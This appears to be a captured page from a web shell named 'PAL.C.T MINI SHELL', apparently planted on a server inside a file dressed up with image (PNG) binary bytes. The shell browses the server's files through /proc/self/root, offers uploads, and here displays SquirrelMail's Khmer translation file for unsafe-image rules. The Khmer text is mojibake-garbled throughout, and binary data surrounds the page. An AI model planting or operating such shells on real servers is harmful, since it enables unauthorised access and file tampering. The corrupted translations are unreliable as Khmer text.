‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/unsafe_image_rules.po

# Khmer (km) unsafe_image_rules Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: unsafe_image_rules\n"
"POT-Creation-Date: 2006-01-17 10:40+0100\n"
"PO-Revision-Date: 2009-04-24 09:33+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: add.php:60
msgid "Safe Sender"
msgstr "អ្នក​ផ្ញើ​មាន​សុវážáŸ’ážáž·áž—áž¶áž–"

#: add.php:60 functions.php:267 options.php:84
msgid "Unsafe Image Rules"
msgstr "ក្បួន​រូបភាព​ដែល​គ្មាន​សុវážáŸ’ážáž·áž—áž¶áž–"

#: add.php:66
msgid ""
"Use the form below to modify the address that will be added to the Unsafe "
"Image Rules."
msgstr "ប្រើ​សំណុំបែបបទ​ážáž¶áž„ក្រោម ដើម្បី​កែប្រែ​អាសយដ្ឋាន​ដែល​នឹង​ážáŸ’រូវ​បន្ážáŸ‚ម​ទៅ​ក្បួន​រូបភាព​ដែល​គ្មាន​សុវážáŸ’ážáž·áž—ាព ។"

#: add.php:73 options.php:173
msgid "From"
msgstr "ពី"

#: add.php:77 options.php:193 options.php:226
msgid "Contains"
msgstr "មាន"

#: add.php:78 options.php:196 options.php:226
msgid "Reg.Exp."
msgstr "កន្សោម​ធម្មážáž¶"

#: add.php:83 options.php:155
msgid "Save"
msgstr "រក្សាទុក"

#: add.php:111
msgid "The following address has been successfully added to the Unsafe Images Rules:"
msgstr "អាសយដ្ឋាន​ážáž¶áž„ក្រោម ážáŸ’រូវ​បាន​បន្ážáŸ‚ម​ដោយ​ជោគជáŸáž™â€‹áž‘ៅកាន់​ក្បួន​រូបភាព​ដែល​គ្មាន​សុវážáŸ’ážáž·áž—ាព ៖"

#: add.php:114
msgid "I didn't seem to get a valid email address to add. This shouldn't happen!"
msgstr "ážáŸ’ញុំ​មិនបាន​ទទួល​អាសយដ្ឋាន​អ៊ីមែល​ážáŸ’រឹមážáŸ’រូវ​ដែល​ážáŸ’រូវ​បន្ážáŸ‚ម​ទáŸÂ áŸ” វា​មិន​គួរ​កើážâ€‹áž˜áž¶áž“​ឡើង​ទáŸÂ !"

#: add.php:118
msgid "Sending you back to the message list in five seconds."
msgstr "ការ​ផ្ញើ​ážáŸ’រឡប់​ទៅកាន់​បញ្ជី​សារ​វិញ​​ក្នុង​រយៈពáŸáž› ៥ វិនាទី ។"

#. i18n: The first %s inserts HTML flr starting a link, and the second ends it.
#: add.php:120
#, php-format
msgid "If you are not automatically redirected, please click %shere%s."
msgstr "ប្រសិន​បើ​អ្នក​មិន​ប្ដូរ​ទិស​ដោយ​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹áž‘០សូម​ចុច​%sទីនáŸáŸ‡%s ។"

#: functions.php:269
msgid "Set up rules about how unsafe images in HTML messages are handled."
msgstr "រៀបចំ​ក្បួន​អំពី​របៀប​ដោះស្រាយ​​រូបភាព​ដែល​គ្មាន​សុវážáŸ’ážáž·áž—ាព​ក្នុង​សារ HTML ។"

#: functions.php:389
msgid "Always trust images from this sender"
msgstr "ážáŸ‚áž„ážáŸ‚​ទុកចិážáŸ’ážâ€‹ážšáž¼áž”ភាព​ពី​អ្នក​ផ្ញើ​នáŸáŸ‡"

#: options.php:68
msgid "Saved Trusted Options"
msgstr "បាន​រក្សាទុក​ជម្រើស​ដែល​បាន​ទុកចិážáŸ’áž"

#: options.php:84
msgid "Options"
msgstr "ជម្រើស"

#: options.php:92
msgid "Trust all sources:"
msgstr "ទុកចិážáŸ’ážâ€‹áž”្រភព​ទាំងអស់ ៖"

#: options.php:96
msgid "WARNING!"
msgstr "ព្រមាន !"

#: options.php:97
msgid "This is not recommended by the SquirrelMail Project Team."
msgstr "វា​មិនážáŸ’រូវ​បាន​ផ្ដល់​អនុសាសនáŸâ€‹ážŠáŸ„យ​ក្រុម​គម្រោង SquirrelMail áž‘áŸÂ áŸ”"

#. i18n: %s inserts a complete link which doesn't need to be i18n.
#: options.php:99
#, php-format
msgid ""
"Read %s for more details. There is a risk you may receive more spam if you "
"check this option."
msgstr "អាន %s សម្រាប់​ពáŸážáŸŒáž˜áž¶áž“​បន្ážáŸ‚ម ។ មាន​បញ្ហា​ ដែល​អ្នក​អាច​ទទួល​សារ​ឥážáž”ាន​ការ​ច្រើន នៅពáŸáž›â€‹ážŠáŸ‚ល​អ្នក​ពិនិážáŸ’យ​មើល​ជម្រើស​នáŸáŸ‡Â áŸ”"

#: options.php:101
msgid "If checked unsafe images are always seen."
msgstr "ប្រសិនបើ​បាន​ធីក រូបភាព​ដែល​មិនមាន​សុវážáŸ’ážáž·áž—ាព​គឺ​ážáŸ’រូវបាន​មើលឃើញ​ជា​និច្ច ។"

#: options.php:102
msgid "If this option is checked, the state of other options is irrelevant."
msgstr "ប្រសិន​បើ​បាន​ធីក​ជម្រើស​នáŸáŸ‡ ស្ážáž¶áž“ភាព​នៃ​ជម្រើស​ផ្សáŸáž„ទៀážâ€‹áž‚ឺ​មិនទាក់ទង​គ្នា​ទáŸÂ áŸ”"

#: options.php:107
msgid "Trust sources in address book:"
msgstr "ទុកចិážáŸ’ážâ€‹áž”្រភព​នៅក្នុង​សៀវភៅ​អាសយដ្ឋាន ៖"

#: options.php:111
msgid ""
"If checked, unsafe images are shown for messages from anyone in your address "
"book."
msgstr "ប្រសិន​បើ​បាន​ធីក រូបភាព​ដែល​មិនមាន​សុវážáŸ’ážáž·áž—ាព​គឺ​ážáŸ’រូវបាន​បង្ហាញ​សម្រាប់​សារ​ពី​អ្នក​ផ្សáŸáž„ទៀážâ€‹áž“ៅ​ក្នុង​សៀវភៅ​អាសយដ្ឋាន​របស់​អ្នក ។"

#: options.php:115
msgid "Trust anything I send:"
msgstr "ទុកចិážáŸ’ážâ€‹áž“ូវ​អ្វី​ដែល​ážáŸ’ញុំ​ផ្ញើ ៖"

#: options.php:119
msgid ""
"If checked, unsafe images are shown for messages sent by any of your "
"identities."
msgstr "ប្រសិន​បើ​បាន​ធីក រូបភាព​ដែល​គ្មាន​សុវážáŸ’ážáž·áž—ាព​គឺ​ážáŸ’រូវបាន​បង្ហាញ​សម្រាប់​សារ​​ដែល​បាន​ផ្ញើ​ដោយ​អážáŸ’ážážŸáž‰áŸ’ញាណ​របស់​អ្នក ។"

#: options.php:120
msgid ""
"You might not want to set this if you forward Spam to other people, and then "
"go back and read from your 'Sent' folder."
msgstr "អ្នក​អាច​នឹង​មិន​ចង់​កំណážáŸ‹â€‹ážœáž¶â€‹áž‘០ប្រសិន​បើ​អ្នក​បញ្ជូន​សារ​ឥážáž”ាន​ការ​បន្ážâ€‹áž‘ៅកាន់​អ្នក​ផ្សáŸáž„ទ០ហើយ​បន្ទាប់​មក​ážáŸ’រឡប់​ក្រោយ​វិញ និង​អាន​ážáž 'បាន​ផ្ញើ' របស់​អ្នក ។"

#: options.php:124
msgid "Trust defined sources:"
msgstr "ទុកចិážáŸ’ážâ€‹áž”្រភព​ដែល​បាន​កំណážáŸ‹Â áŸ–"

#: options.php:128
msgid "If checked, unsafe images are shown for the sources shown below."
msgstr "ប្រសិន​បើ​បាន​ធីក រូបភាព​ដែល​គ្មាន​សុវážáŸ’ážáž·áž—ាព​គឺ​ážáŸ’រូវបាន​បង្ហាញ​សម្រាប់​ប្រភព​ដែល​បាន​បង្ហាញ​ážáž¶áž„ក្រោម ។"

#: options.php:134
msgid ""
"When viewing a message with unsafe images, you can quickly add the sender's "
"email address or domain to the Unsafe Image Rules by clicking the 'Always "
"trust images from this sender' link. The following options set the default "
"behavior when the address is being added."
msgstr "នៅពáŸáž›â€‹ážŠáŸ‚ល​មើល​សារ​ដែល​មាន​រូបភាព​ដែល​មិន​មាន​សុវážáŸ’ážáž·áž—áž¶áž– អ្នក​អាច​បន្ážáŸ‚ម​អាសយដ្ឋាន​អ៊ីមែល​របស់​អ្នក​ផ្ញើ ឬ​ដែន​ទៅកាន់​ក្បួន​រូបភាព​ដែល​មិនមាន​សុវážáŸ’ážáž·áž—áž¶áž– ដោយ​ចុច​លើ​ážáŸ†ážŽ 'ទុកចិážáŸ’ážâ€‹ážšáž¼áž”ភាព​ពី​អ្នក​ផ្ញើ​នáŸáŸ‡â€‹áž‡áž¶áž“ិច្ច' ។ ជម្រើស​ážáž¶áž„ក្រោម​កំណážáŸ‹â€‹áž¥ážšáž·áž™áž¶áž”ážâ€‹áž›áŸ†áž“ាំដើម នៅពáŸáž›â€‹ážŠáŸ‚ល​បាន​បន្ážáŸ‚ម​អាសយដ្ឋាន ។"

#: options.php:137
msgid "Always add full email address:"
msgstr "បន្ážáŸ‚ម​អាសយដ្ឋាន​ពáŸáž‰áž›áŸáž‰â€‹áž‡áž¶áž“ិច្ច ៖"

#: options.php:140
msgid ""
"If selected the full email address of the sender will be added to the Unsafe "
"Image Rules list."
msgstr "ប្រសិន​បើ​បាន​ជ្រើស​អាសយដ្ឋាន​អ៊ីមែល​ពáŸáž‰áž›áŸáž‰â€‹ážšáž”ស់​អ្នក​ផ្ញើ នឹង​ážáŸ’រូវបាន​បន្ážáŸ‚ម​ទៅ​បញ្ជី​ក្បួន​រូបភាព​ដែល​មិនមាន​សុវážáŸ’ážáž·áž—ាព ។"

#: options.php:142
msgid "Always add full domain:"
msgstr "បន្ážáŸ‚ម​ដែន​ពáŸáž‰áž›áŸáž‰â€‹áž‡áž¶áž“ិច្ច ៖"

#: options.php:145
msgid ""
"If selected only the domain of the sender will be added to the Unsafe Image "
"Rules list."
msgstr "ប្រសិន​បើ​បាន​ជ្រើស មាន​ážáŸ‚​ដែន​ដែល​បាន​ជ្រើស​របស់​អ្នក​ផ្ញើ​ប៉ុណ្ណោះ​ដែល​នឹង​ážáŸ’រូវបាន​បន្ážáŸ‚ម​ទៅ​បញ្ជី​ក្បួន​រូបភាព​រូបភាព​ដែល​គ្មាន​សុវážáŸ’ážáž·áž—ាព ។"

#: options.php:147
msgid "Always ask:"
msgstr "សួរ​ជានិច្ច ៖"

#: options.php:150
msgid "Ask what to add to the Unsafe Image Rules list."
msgstr "សួរ​នូវ​អ្វី​ដែល​ážáŸ’រូវ​បន្ážáŸ‚ម​ទៅកាន់​បញ្ជី​ក្បួន​រូបភាព​ដែល​គ្មាន​សុវážáŸ’ážáž·áž—ាព ។"

#: options.php:158
msgid "Add New Rule"
msgstr "បន្ážáŸ‚ម​ក្បួន​ážáŸ’មី"

#: options.php:159
msgid "Done"
msgstr "ធ្វើ​រួច"

#: options.php:167
msgid "Trust source if "
msgstr "ទុកចិážáŸ’ážâ€‹áž”្រភព ប្រសិន​បើ"

#: options.php:176
msgid "To"
msgstr "ជូន​ចំពោះ"

#: options.php:179
msgid "Cc"
msgstr "ចម្លង​ជូន"

#: options.php:182
msgid "To or Cc"
msgstr "ជូន​ចំពោះ ឬ​ចម្លង​ជូន"

#: options.php:185
msgid "Subject"
msgstr "ប្រធាន​បទ"

#: options.php:204
msgid "NB"
msgstr "NB"

#: options.php:206
msgid "When specifying a Reg.Exp you must include delimeters."
msgstr "នៅពáŸáž›â€‹ážŠáŸ‚ល​បាន​បញ្ជាក់​កន្សោម​ធម្មážáž¶â€‹ážŠáŸ‚ល​អ្នក​ážáŸ’រូវ​ážáŸ‚​រួមទាំង​អ្នក​កំណážáŸ‹Â áŸ”"

#: options.php:207
msgid "The 'Contains' check will be done with case-insensitive match."
msgstr "ការ​ពិនិážáŸ’áž™ 'មាន' នឹង​ážáŸ’រូវបាន​ធ្វើ​រួច​ដោយ​ážáŸ’រូវ​មាន​ការ​ប្រកាន់ážáž½áž¢áž€áŸ’សរ​ážáž¼áž…​ធំ ។"

#: options.php:209
msgid "Submit"
msgstr "ដាក់​ស្នើ"

#: options.php:219
msgid "Edit"
msgstr "កែសម្រួល"

#: options.php:221
msgid "Delete"
msgstr "លុប"

#. i18n: If [field] [Contains|Reg.Exp.] [user defined data]
#: options.php:224
#, php-format
msgid "If %s %s %s"
msgstr "ប្រសិន​បើ %s %s %s"

#: options.php:230
msgid "This doesn't look like a valid Reg.Exp."
msgstr "វា​មិន​ហាក់ដូចជា​មិនមែន​ជា​កន្សោម​ធម្មážáž¶â€‹ážáŸ’រឹមážáŸ’រូវ​ទáŸÂ áŸ”"

#: options.php:230
msgid "WARNING:"
msgstr "ព្រមាន ៖"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚